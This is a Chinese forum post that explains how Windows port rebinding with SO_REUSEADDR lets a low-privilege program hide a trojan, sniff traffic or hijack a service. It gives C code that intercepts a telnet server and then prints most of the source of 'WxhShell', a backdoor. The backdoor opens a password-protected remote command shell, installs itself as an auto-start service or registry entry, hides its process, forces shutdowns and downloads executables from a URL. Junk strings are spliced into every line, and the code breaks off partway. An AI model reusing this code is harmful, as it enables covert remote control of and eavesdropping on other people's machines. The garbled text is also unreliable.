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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v\:P _J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e4/Y/:vFO  
>|@i8?|E  
  saddr.sin_family = AF_INET; amH..D7_>  
:gJ?3LwTf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d~U}IMj  
hbg:}R=B<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >2w^dI2  
QBI;aG<+b>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;5 JzrbtL  
3.?kxac  
  这意味着什么?意味着可以进行如下的攻击: =xq+r]g6  
>MeM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CFU'- #b  
W dNOE;R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l@OY8z-_  
V"`t*m$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C[xY 0<^B  
`oq][|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9Oe~e  
#{BHH;J+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <)dHe:  
H ]x-s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }; ;Thfd  
exHg<18WSe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <_N<L\  
muJR~4  
  #include ;0c -+,  
  #include |r%NMw #y  
  #include +-*Ww5Zti  
  #include    4fyds< f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G)G 257K"~  
  int main() zv8AvNDK  
  { 4{rqGC /  
  WORD wVersionRequested; c&GVIrJ  
  DWORD ret; 0lm7'H*~  
  WSADATA wsaData; 7a_tT;f;  
  BOOL val; #{DX*;1m  
  SOCKADDR_IN saddr; &{uj3s&C   
  SOCKADDR_IN scaddr; hRwj-N%C  
  int err; wJ%;\06  
  SOCKET s; TF1,7Qd  
  SOCKET sc; "-T[D9(A  
  int caddsize; a7@':Rb n  
  HANDLE mt; /L yoTBG  
  DWORD tid;   lPyY  
  wVersionRequested = MAKEWORD( 2, 2 ); tg%#W `  
  err = WSAStartup( wVersionRequested, &wsaData ); pv[Gg^  
  if ( err != 0 ) { U5RLM_a@M  
  printf("error!WSAStartup failed!\n"); SIridZ*%  
  return -1; !y\r.fm!A  
  } #=g1V?D  
  saddr.sin_family = AF_INET; RH}i=  
   [p+-]V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o"!C8s_6  
y<g1q"F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d@XXqCR<  
  saddr.sin_port = htons(23); 2<FEn$n[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fg)VO6Wo&  
  { 1.tAl6]  
  printf("error!socket failed!\n"); 2Onp{,'}  
  return -1; S54q?sb_  
  } %b[>eIJU#  
  val = TRUE; z?^oy.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y1)ZO_'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) er8T:.Py  
  { BPuum  
  printf("error!setsockopt failed!\n"); =(]Z%Q-V  
  return -1; FS)"MDs  
  } l0 8vF$k|d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Fq$r>tmV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3_ly"\I\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T-LX>*  
vSu dT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !-t,r%CG  
  { JC MUK<CG  
  ret=GetLastError(); `Gj(>z*  
  printf("error!bind failed!\n"); Nq%ir8hE  
  return -1; -VeC X]  
  } `*l aUn  
  listen(s,2); ?I[*{}@n"  
  while(1) ]OtnekkK$  
  { o "6 2~  
  caddsize = sizeof(scaddr); yQ)&u+r  
  //接受连接请求 h 8xcq#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?<`oKBn  
  if(sc!=INVALID_SOCKET) >%ovL8F  
  { : r(dMU3%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6O <UW.  
  if(mt==NULL) kO5lLqE  
  { RA!q)/ +  
  printf("Thread Creat Failed!\n"); WfD fj  
  break; Khb Ku0Z  
  } g)5mr:\  
  } CLTkyS)C  
  CloseHandle(mt); zak|* _  
  } rlaeqG  
  closesocket(s); ae2Q^yLA  
  WSACleanup(); D#AqZS>B  
  return 0; \{}dn,?Fv  
  }   m<49<O6o  
  DWORD WINAPI ClientThread(LPVOID lpParam) f~F{@),acZ  
  { 2E?!Q I\O  
  SOCKET ss = (SOCKET)lpParam; J\Hv42  
  SOCKET sc; :\vs kk),  
  unsigned char buf[4096]; 8L,=Eap  
  SOCKADDR_IN saddr; `sCn4-$8  
  long num; *5 +GJWKN  
  DWORD val; F#>00b{Q  
  DWORD ret; (-g*U#   
  //如果是隐藏端口应用的话,可以在此处加一些判断 <n4` #d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tEL9hZzI  
  saddr.sin_family = AF_INET; F~8'3!<9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SIV !8mz  
  saddr.sin_port = htons(23); puJB&u"4L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'Y/0:)  
  { 4;I\% qes  
  printf("error!socket failed!\n"); ujRXAN@mC  
  return -1;  ]'`E  
  } ] \M+ju  
  val = 100; {g! 7K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v!8=B21  
  { $8)XN-%(  
  ret = GetLastError(); QJ3#~GYNr  
  return -1; cf88Fd6l/  
  } HMCLJ/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u MEM7$o  
  { {_Wrs.a'8  
  ret = GetLastError(); Td'Mc-/  
  return -1; \y5lYb,*c_  
  } E=N$JM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *qwN9b/!  
  { PqV F}  
  printf("error!socket connect failed!\n"); x-m*p^}  
  closesocket(sc); "_q~S$i^  
  closesocket(ss); zak\%yY`  
  return -1; ->rqr#  
  } =P]Z"Ok  
  while(1)  xgcxA:  
  { T82 `-bZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gS5REC4I/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dS ojq6M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !fzS' pkk.  
  num = recv(ss,buf,4096,0); TP rq:"K  
  if(num>0) -N*[f9EJB  
  send(sc,buf,num,0); )&@YRT\c?8  
  else if(num==0) Z 2N6r6  
  break; 509T?\r  
  num = recv(sc,buf,4096,0); =&z+7Pe[  
  if(num>0) `NN P<z+\  
  send(ss,buf,num,0); m$p}cok#+S  
  else if(num==0) <= o<lRU  
  break; lo$G*LWu:  
  } w7Yu} JY^  
  closesocket(ss); ,VS\mG/}s  
  closesocket(sc); h$&Tg_/'#D  
  return 0 ; :1A:g^n  
  } YB"gLv?  
zR<{z  
|dgiW"tUm  
========================================================== b*n3Fej  
f)*?Ji|5F  
下边附上一个代码,,WXhSHELL klUV&O+=%  
93]63NY  
========================================================== Mt4  
M{J>yN  
#include "stdafx.h" :qdyC sn2  
^*}D*=>\  
#include <stdio.h> $VmV>NZ  
#include <string.h> b-_l&;NWg  
#include <windows.h> JTKS5 r7?  
#include <winsock2.h> l$gJ^Wf2gY  
#include <winsvc.h> PEI$1,z  
#include <urlmon.h> h>`[p,o  
d~aTjf  
#pragma comment (lib, "Ws2_32.lib") ".>#Qp%  
#pragma comment (lib, "urlmon.lib") ~rV$.:%va  
MLV]+H[mt  
#define MAX_USER   100 // 最大客户端连接数 SSI> +A  
#define BUF_SOCK   200 // sock buffer :zU4K=kR  
#define KEY_BUFF   255 // 输入 buffer c,r6+oX  
jwk+&S  
#define REBOOT     0   // 重启 u.2X "  
#define SHUTDOWN   1   // 关机 m~+.vk  
w~+*Vd~U  
#define DEF_PORT   5000 // 监听端口 z -?\b^  
+PYV-@q  
#define REG_LEN     16   // 注册表键长度 %Ik5|\ob?  
#define SVC_LEN     80   // NT服务名长度 NuO@N r  
@wXYza0|d  
// 从dll定义API ~aotV1"D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z2W&_(^.h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $(62j0mS>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YHN6/k7H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \l=A2i7TQ  
F[c oa5  
// wxhshell配置信息 iK4\N;H  
struct WSCFG { |}77'w :  
  int ws_port;         // 监听端口 mCnl@  
  char ws_passstr[REG_LEN]; // 口令 bzG vnaTt  
  int ws_autoins;       // 安装标记, 1=yes 0=no ar@,SKU'K  
  char ws_regname[REG_LEN]; // 注册表键名 #`@)lU+/  
  char ws_svcname[REG_LEN]; // 服务名 ):Fg {7b]n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P=}l.R*1G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A6KP(@   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F~v0CBcAL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {v!w2p@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T7qp ({v?Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qi@Nz=t#HJ  
)E",)}Nh  
}; HE*^!2f  
[Qr_0O  
// default Wxhshell configuration #F/W_G7v  
struct WSCFG wscfg={DEF_PORT, l )r^|9{  
    "xuhuanlingzhe", fhk(<KZvJ  
    1, N8T.Ye N  
    "Wxhshell", nVpDjUpN  
    "Wxhshell", tv-SX=T  
            "WxhShell Service", 5bZ0}^FYF  
    "Wrsky Windows CmdShell Service", ZHRMW'Ne  
    "Please Input Your Password: ", hB 'rkjt  
  1, ?RE"<L  
  "http://www.wrsky.com/wxhshell.exe", -R9{Ak  
  "Wxhshell.exe" pl}W|kW}  
    }; YxnZ0MY  
?5G; =#I  
// 消息定义模块 af[dkuv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mJ8EiRSE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4[Ko|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [$6YPM>Ee  
char *msg_ws_ext="\n\rExit."; akj#.aYk  
char *msg_ws_end="\n\rQuit."; "Z';nmv'N  
char *msg_ws_boot="\n\rReboot..."; ;Gu(Yoa}y  
char *msg_ws_poff="\n\rShutdown..."; Ut%{pc 7^F  
char *msg_ws_down="\n\rSave to "; 4U$M0 =  
OZKZv,  
char *msg_ws_err="\n\rErr!"; "6~+ -_:  
char *msg_ws_ok="\n\rOK!"; ,-n_( U  
X&Ospl@H  
char ExeFile[MAX_PATH]; c r18`xU  
int nUser = 0;  >YdLB@  
HANDLE handles[MAX_USER]; Zirp_[KZ%  
int OsIsNt; D3O)Tj@:}(  
-g"Wi@Qr  
SERVICE_STATUS       serviceStatus; Wa!C2nB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nbf >Y  
Q*f0YjH!  
// 函数声明 c ? Zi/7  
int Install(void); sVlQ5M oo(  
int Uninstall(void); p`"Ic2xPJ  
int DownloadFile(char *sURL, SOCKET wsh); qus%?B{b}  
int Boot(int flag); '^Q$:P{G?  
void HideProc(void); g/!tp;e  
int GetOsVer(void); 9*s:Vff{  
int Wxhshell(SOCKET wsl); (76tYt~I=  
void TalkWithClient(void *cs); &j"_hFhv  
int CmdShell(SOCKET sock); {XXnMO4uR;  
int StartFromService(void); %4wHiCOg  
int StartWxhshell(LPSTR lpCmdLine); PmE 8O  
R<r,&X?m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O^~nf%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =QwT)KRB%  
nbv}Q-C  
// 数据结构和表定义 (V}?y:)  
SERVICE_TABLE_ENTRY DispatchTable[] = eV9,G8  
{ 5IRUG)Icr  
{wscfg.ws_svcname, NTServiceMain}, bhKe"#m|S  
{NULL, NULL} =+4om*  
}; US<l4  
3my_Gp  
// 自我安装 h.xtkD)Y~  
int Install(void) +WCV"m  
{ =Nz;R2{@  
  char svExeFile[MAX_PATH]; YCG $GD  
  HKEY key; z|<?=c2P  
  strcpy(svExeFile,ExeFile); aC3Qmo6?m  
1#XZVp;M  
// 如果是win9x系统,修改注册表设为自启动 > =Na,D  
if(!OsIsNt) { MZ^(BOe_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q^}iXE~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |-]'~ @~  
  RegCloseKey(key); DH])Q5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >4?735f=x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^aqBL  
  RegCloseKey(key); /9ZU_y4&3f  
  return 0; Vo(bro4ZQi  
    } G4EuW *~  
  } b}ODc]3  
} gS!zaD7Nr  
else { ,UxAHCR~9  
!dwa. lZ&X  
// 如果是NT以上系统,安装为系统服务 }4q1"iMlO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /b."d\  
if (schSCManager!=0) U ?6.UtNf  
{ S0lt _~  
  SC_HANDLE schService = CreateService Aot9^@4])  
  ( D0X!j,Kc  
  schSCManager, Z1U@xQj  
  wscfg.ws_svcname, 3 5p) e c  
  wscfg.ws_svcdisp, z7HM/<WY  
  SERVICE_ALL_ACCESS, }k @S mO8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |0VZ1{=*  
  SERVICE_AUTO_START, $v1_M1  
  SERVICE_ERROR_NORMAL, Z)<lPg!YAR  
  svExeFile, G^le91$  
  NULL, |}o3EX  
  NULL, V=H:`n3k  
  NULL, 8Q73h/3  
  NULL, SL`nt  
  NULL  ^]?ju L  
  ); tcJN`N  
  if (schService!=0) rw[Ioyr-  
  { CEBa,hp@  
  CloseServiceHandle(schService); e. R9:  
  CloseServiceHandle(schSCManager); a[E}o<{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [-VIojs+u  
  strcat(svExeFile,wscfg.ws_svcname); a: F\4x=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rXq{WS`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BCh|^Pk  
  RegCloseKey(key); k\-h-0[|  
  return 0; A}(o1wuw  
    } !gJw?(8"  
  } _P*QX  
  CloseServiceHandle(schSCManager); ]l, ,en5V  
} ?H eUU  
} _Sl3)  
Yw_!40`  
return 1; JB'XH~4H  
} $ByP 9=|  
1o?uf,H7O  
// 自我卸载 (QQkXlJ  
int Uninstall(void) / |isRh|  
{  |^"0bu"  
  HKEY key; <T]ey  
e(Rbq8D  
if(!OsIsNt) { U_WO<uhC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WWATG=  
  RegDeleteValue(key,wscfg.ws_regname); MfO: BX@$  
  RegCloseKey(key); z7TyS.z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ER0B{b  
  RegDeleteValue(key,wscfg.ws_regname); d{Owz&PL  
  RegCloseKey(key); oXU b_/  
  return 0; /@I`V?Q!a  
  } JX{_,2*$  
} "uFwsjz&B  
} (p<pF].  
else { gU1Pb]]  
KtGbpcS$f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O&,8X-Ix  
if (schSCManager!=0) bP>Kx-%q  
{ mi[8O$^iJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h}kJ,n  
  if (schService!=0) F< XOt3VY.  
  { ILqBa:J  
  if(DeleteService(schService)!=0) { 6[S IDOp*^  
  CloseServiceHandle(schService); 6@eF|GoP  
  CloseServiceHandle(schSCManager); +wxsAGy_j  
  return 0; qHvUBx0  
  } # 1dg%  
  CloseServiceHandle(schService); MzDosr3:  
  } N1B$z3E *  
  CloseServiceHandle(schSCManager); -:E~Z_J`  
} Gr#3GvL  
} !F.h+&^D;  
~]q>}/&YLo  
return 1; *QV"o{V  
} 5~j#Z (}u  
~9E_L?TW*  
// 从指定url下载文件 &} { #g  
int DownloadFile(char *sURL, SOCKET wsh) N$x&k$w R  
{ kDI?v6y5  
  HRESULT hr; |0Xf":  
char seps[]= "/"; AV7#,+p%G  
char *token; j[.nk  
char *file; ;j7G$s9  
char myURL[MAX_PATH]; Y~e)3e  
char myFILE[MAX_PATH]; /;Hr{f jl{  
^'a#FbMtt  
strcpy(myURL,sURL); }YVF fi~  
  token=strtok(myURL,seps); X%3?sH  
  while(token!=NULL) tW/g0lC%  
  { S_/S2(V"  
    file=token; &K{8- t  
  token=strtok(NULL,seps); J=k=cFUX  
  } 0Q`v#$?":  
^6z"@+;*  
GetCurrentDirectory(MAX_PATH,myFILE); ".N+nM~  
strcat(myFILE, "\\"); }\Rmwm-  
strcat(myFILE, file); T7^;!;i`X  
  send(wsh,myFILE,strlen(myFILE),0); X;N?L%Pp  
send(wsh,"...",3,0); kDMvTVd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /Pkz3(1  
  if(hr==S_OK) 7J!s"|VS  
return 0; YrB-n  
else Hd\V?#H  
return 1; 6Eu(C]nC(  
3ie k >'T  
} D2kmBZ3  
{MSE}|A\V  
// 系统电源模块 9K/EteS  
int Boot(int flag) BEvY&3%l  
{ HFZ'xp|3dn  
  HANDLE hToken; @$ Zh^+x!  
  TOKEN_PRIVILEGES tkp; ]i$y;]f  
&h I!mo  
  if(OsIsNt) { N=KtW?C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rZJJ\ , |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ld@+p  
    tkp.PrivilegeCount = 1; }7[]d7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3HpqMz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lAP k/G  
if(flag==REBOOT) { ( .cA'f?h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XGR2L DR  
  return 0; 3ai[ r  
} N68$b#9Ry  
else { u9OY Jo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )|xu5.F  
  return 0; =J IceLL  
} KtL?,zi  
  } Lz.khE<  
  else { PJC(:R(j  
if(flag==REBOOT) { p{^:b6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eV|N@  
  return 0; k773h`;  
} e=OHO,74z"  
else { LBCH7@V1yR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ["EXSptB  
  return 0; !HDb{f  
} UJI2L-;Ul  
} s Z[[ymu8  
FpRYffT 9u  
return 1; f[k#Znr  
} CW &z?Bra  
pY"WW0p"C  
// win9x进程隐藏模块 I/Vw2  
void HideProc(void) kWXLncE  
{ "=Br&FN{|  
6e+'Y"v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .d1ff] ;  
  if ( hKernel != NULL ) 6WY/[TC-  
  { \sAaVdZJH(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :snO*Zg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \"a{\E,{;  
    FreeLibrary(hKernel); {-\U)&6#v  
  } u1%URen[x  
ZZT #V%Q=u  
return; G tI )O}  
} `pfIgryns  
.HS6DOQ  
// 获取操作系统版本 !{lH*  
int GetOsVer(void) ,2S!$M  
{ 'I]XX==_  
  OSVERSIONINFO winfo; 0kkDlWkzo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H$h#n~W~  
  GetVersionEx(&winfo); R@o&c%K"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xqG<R5k>>  
  return 1; m-Eh0Zl>Z  
  else JXB)'d0  
  return 0; puC91  
} yq%5h[M  
*LEy# N  
// 客户端句柄模块 _ %nz-I  
int Wxhshell(SOCKET wsl) N[e,){v  
{ |\,OlX,  
  SOCKET wsh; .{V"Gn9!  
  struct sockaddr_in client; BX >L7n  
  DWORD myID; ;g|Vt}a&4  
3:+9H}Q  
  while(nUser<MAX_USER) U) J5K  
{ |bY@HpMp  
  int nSize=sizeof(client); yKc-:IBb{u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $h#sb4ek  
  if(wsh==INVALID_SOCKET) return 1; `z&#|0O  
C~ 1]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j6m;03<|  
if(handles[nUser]==0) I!sT=w8V  
  closesocket(wsh); 9kL,69d2  
else ~aob@(  
  nUser++; :X0L6y)u  
  } /I%z7f91O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); * ,hhX psa  
aFnel8  
  return 0; $^]K611w9  
} J&xZN8jW   
W XQ@kQD  
// 关闭 socket *1)>He$qL  
void CloseIt(SOCKET wsh) !}&|a~U@`k  
{ 9d5$cV  
closesocket(wsh); bZnOX*y]  
nUser--; EQ1**[$  
ExitThread(0); n!jmxl$  
} + jLy>=u  
@62T:Vl  
// 客户端请求句柄 Y}?8  
void TalkWithClient(void *cs) 4#$#x=:  
{ t<H"J__&  
&2 tfj(ms  
  SOCKET wsh=(SOCKET)cs; :Jd7q.  
  char pwd[SVC_LEN]; wI.aV>  
  char cmd[KEY_BUFF]; .~]|gg~  
char chr[1]; f"MID6  
int i,j; Rlq7.2cP  
RZa/la*  
  while (nUser < MAX_USER) { {;yO3];Hqw  
2dn^K3  
if(wscfg.ws_passstr) { SDnl^a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pjeNBSu6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <L}@p8Lq  
  //ZeroMemory(pwd,KEY_BUFF); hkMeUxS  
      i=0; q W(@p`  
  while(i<SVC_LEN) { d ^bSV4  
u?^V4 +V  
  // 设置超时 z*.AuEK?  
  fd_set FdRead; 6!<I'M'[e  
  struct timeval TimeOut; cx\"r  
  FD_ZERO(&FdRead); vX+oZj   
  FD_SET(wsh,&FdRead); !cW rB9  
  TimeOut.tv_sec=8; :qzg?\(  
  TimeOut.tv_usec=0; $WA wMS,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A7p4M?09  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WtM%(8Y[]  
%>|FJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s QDgNJbU  
  pwd=chr[0]; "{0G,tdA  
  if(chr[0]==0xd || chr[0]==0xa) { BA;r%?MRL  
  pwd=0; *^?tr?e%I<  
  break; "j>X^vn  
  } hRkCB  
  i++; 4]d^L>  
    }  s*u A3}j  
z/7q#~J,  
  // 如果是非法用户,关闭 socket 4_#$k{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K~(RV4oF8B  
} )GB#"2  
iOfm:DTPr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mGT('iTM4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XC<fNK  
8Km&3nCv$Q  
while(1) { JPI%{@Qc^  
V)$!WPL@  
  ZeroMemory(cmd,KEY_BUFF); bZowc {!\  
6H#: rM  
      // 自动支持客户端 telnet标准   dSDZMB sd  
  j=0; ZFZ'&"+  
  while(j<KEY_BUFF) { g/GI'8EMj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x'|ty[87  
  cmd[j]=chr[0]; g]~vZj  
  if(chr[0]==0xa || chr[0]==0xd) { *i"9D:  
  cmd[j]=0; (UkP AE  
  break; >X~B1D,SV7  
  } AR| 4^  
  j++; {&1L &f<  
    } ;c 7I "?@z  
V,r~%p  
  // 下载文件 +d, ~h_7!  
  if(strstr(cmd,"http://")) {  A 3 V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !j!w $  
  if(DownloadFile(cmd,wsh)) C[FHqo9M?H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A7 RI&g v5  
  else J/]%zwDwS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oW~W(h!  
  } .@H:P  
  else { f3UCELJ  
!vz'zy)7  
    switch(cmd[0]) { ^".OMS"!  
  ~WA@YjQ]  
  // 帮助 /^=1]+_!  
  case '?': { c>bns/f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k_pv6YrE  
    break; &8IBf8  
  } fU6YJs.H^8  
  // 安装 @a8lF$<  
  case 'i': { q1ysT.{p,  
    if(Install()) -y.cy'$f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R ]Ev=V'U  
    else Q[OwP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Jgcj 4D  
    break; ~&Z>fgOTJ  
    } )^:H{1'  
  // 卸载 !Fl'?Kz  
  case 'r': { ` o)KG,  
    if(Uninstall()) j\C6k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %a/3*vz/I%  
    else TgkVd]4%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (3n "a'  
    break; x80IS:TP  
    } t}+/GSwT  
  // 显示 wxhshell 所在路径 Q}#Je.;  
  case 'p': { sVyV|!K  
    char svExeFile[MAX_PATH]; W9SU1{*9  
    strcpy(svExeFile,"\n\r"); e:O,$R#g  
      strcat(svExeFile,ExeFile); }4 0T'y  
        send(wsh,svExeFile,strlen(svExeFile),0); Dg&6@c|  
    break; 2yA)SGri  
    } ?V6,>e_+  
  // 重启 UhH#> 2r_  
  case 'b': { y% bIO6u:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z0[@O)Sj  
    if(Boot(REBOOT)) .`Rt   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,bgJgK  
    else { QFP9"FM5F  
    closesocket(wsh); dlYpbw}W&<  
    ExitThread(0); @R&d<^I&M  
    } >.meecE?Q  
    break; XPdmz!,b  
    } I=dG(?#7%  
  // 关机 W3le)&  
  case 'd': { V\`Z|'WIQD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cx[^D,usf~  
